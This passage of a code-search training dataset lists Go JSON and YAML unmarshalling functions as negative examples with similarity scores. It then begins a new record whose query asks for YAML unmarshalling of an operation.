&a.Error)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"status\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Status\\\", &a.Status)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"description\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Description\\\", &o.Description)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationsDefinitionArrayResponseWithContinuation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func unmarshalJSON(j extv1.JSON, output *any) error {\\n\\tif len(j.Raw) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\treturn json.Unmarshal(j.Raw, output)\\n}\",\n \"func (v *BaseOpSubscriptionArgs) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi121(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (this *DeploymentStrategy) UnmarshalJSON(b []byte) error {\\n\\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (m *StartsWithCompareOperation) UnmarshalJSON(raw []byte) error {\\n\\tvar data struct {\\n\\n\\t\\t// The condition is case sensitive (`false`) or case insensitive (`true`).\\n\\t\\t//\\n\\t\\t// If not set, then `false` is used, making the condition case sensitive.\\n\\t\\tIgnoreCase bool `json:\\\"ignoreCase,omitempty\\\"`\\n\\n\\t\\t// Inverts the operation of the condition. Set to `true` to turn **starts with** into **does not start with**.\\n\\t\\t//\\n\\t\\t// If not set, then `false` is used.\\n\\t\\tNegate bool `json:\\\"negate,omitempty\\\"`\\n\\n\\t\\t// The value to compare to.\\n\\t\\t//\\n\\t\\t// If several values are specified, the OR logic applies.\\n\\t\\t// Required: true\\n\\t\\t// Max Items: 10\\n\\t\\t// Min Items: 1\\n\\t\\t// Unique: true\\n\\t\\tValues []string `json:\\\"values\\\"`\\n\\t}\\n\\tbuf := bytes.NewBuffer(raw)\\n\\tdec := json.NewDecoder(buf)\\n\\tdec.UseNumber()\\n\\n\\tif err := dec.Decode(&data); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar base struct {\\n\\t\\t/* Just the base type fields. Used for unmashalling polymorphic types.*/\\n\\n\\t\\tType string `json:\\\"type\\\"`\\n\\t}\\n\\tbuf = bytes.NewBuffer(raw)\\n\\tdec = json.NewDecoder(buf)\\n\\tdec.UseNumber()\\n\\n\\tif err := dec.Decode(&base); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar result StartsWithCompareOperation\\n\\n\\tif base.Type != result.Type() {\\n\\t\\t/* Not the type we're looking for. */\\n\\t\\treturn errors.New(422, \\\"invalid type value: %q\\\", base.Type)\\n\\t}\\n\\n\\tresult.IgnoreCase = data.IgnoreCase\\n\\n\\tresult.Negate = data.Negate\\n\\n\\tresult.Values = data.Values\\n\\n\\t*m = result\\n\\n\\treturn nil\\n}\",\n \"func (v *bulkUpdateRequestCommandData) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson1ed00e60DecodeGithubComOlivereElasticV71(&r, v)\\n\\treturn r.Error()\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7564063","0.7564063","0.7564063","0.7564063","0.7564063","0.7564063","0.75204384","0.74816644","0.74274623","0.74102575","0.74102575","0.74064296","0.74064296","0.74064296","0.74064296","0.74064296","0.74064296","0.7374543","0.7374543","0.71627223","0.7137858","0.7031841","0.6949472","0.69258094","0.6882579","0.68698263","0.6792174","0.67573094","0.6755373","0.66973776","0.6663105","0.6640518","0.6640518","0.6630647","0.6592582","0.6587681","0.65677494","0.65356284","0.6488587","0.6478664","0.64270586","0.6392334","0.6293573","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.62827337","0.6264694","0.62628055","0.62240684","0.62069416","0.6152501","0.61435485","0.6107725","0.6107725","0.6107725","0.60858387","0.60511124","0.6044034","0.6012746","0.6006531","0.60044783","0.60028136","0.59994555","0.5982593","0.59800094","0.59800094","0.5979091","0.59584165","0.59513754","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.59415233","0.5902931","0.586353","0.5860207","0.58579284","0.5855552","0.5851806"],"string":"[\n \"0.7564063\",\n \"0.7564063\",\n \"0.7564063\",\n \"0.7564063\",\n \"0.7564063\",\n \"0.7564063\",\n \"0.75204384\",\n \"0.74816644\",\n \"0.74274623\",\n \"0.74102575\",\n \"0.74102575\",\n \"0.74064296\",\n \"0.74064296\",\n \"0.74064296\",\n \"0.74064296\",\n \"0.74064296\",\n \"0.74064296\",\n \"0.7374543\",\n \"0.7374543\",\n \"0.71627223\",\n \"0.7137858\",\n \"0.7031841\",\n \"0.6949472\",\n \"0.69258094\",\n \"0.6882579\",\n \"0.68698263\",\n \"0.6792174\",\n \"0.67573094\",\n \"0.6755373\",\n \"0.66973776\",\n \"0.6663105\",\n \"0.6640518\",\n \"0.6640518\",\n \"0.6630647\",\n \"0.6592582\",\n \"0.6587681\",\n \"0.65677494\",\n \"0.65356284\",\n \"0.6488587\",\n \"0.6478664\",\n \"0.64270586\",\n \"0.6392334\",\n \"0.6293573\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.62827337\",\n \"0.6264694\",\n \"0.62628055\",\n \"0.62240684\",\n \"0.62069416\",\n \"0.6152501\",\n \"0.61435485\",\n \"0.6107725\",\n \"0.6107725\",\n \"0.6107725\",\n \"0.60858387\",\n \"0.60511124\",\n \"0.6044034\",\n \"0.6012746\",\n \"0.6006531\",\n \"0.60044783\",\n \"0.60028136\",\n \"0.59994555\",\n \"0.5982593\",\n \"0.59800094\",\n \"0.59800094\",\n \"0.5979091\",\n \"0.59584165\",\n \"0.59513754\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.59415233\",\n \"0.5902931\",\n \"0.586353\",\n \"0.5860207\",\n \"0.58579284\",\n \"0.5855552\",\n \"0.5851806\"\n]"},"document_score":{"kind":"string","value":"0.70503175"},"document_rank":{"kind":"string","value":"21"}}},{"rowIdx":106163,"cells":{"query":{"kind":"string","value":"UnmarshalYAML will unmarshal YAML into an operation"},"document":{"kind":"string","value":"func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}","func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}","func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}","func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}","func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}","func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}","func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}","func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}","func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}","func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err 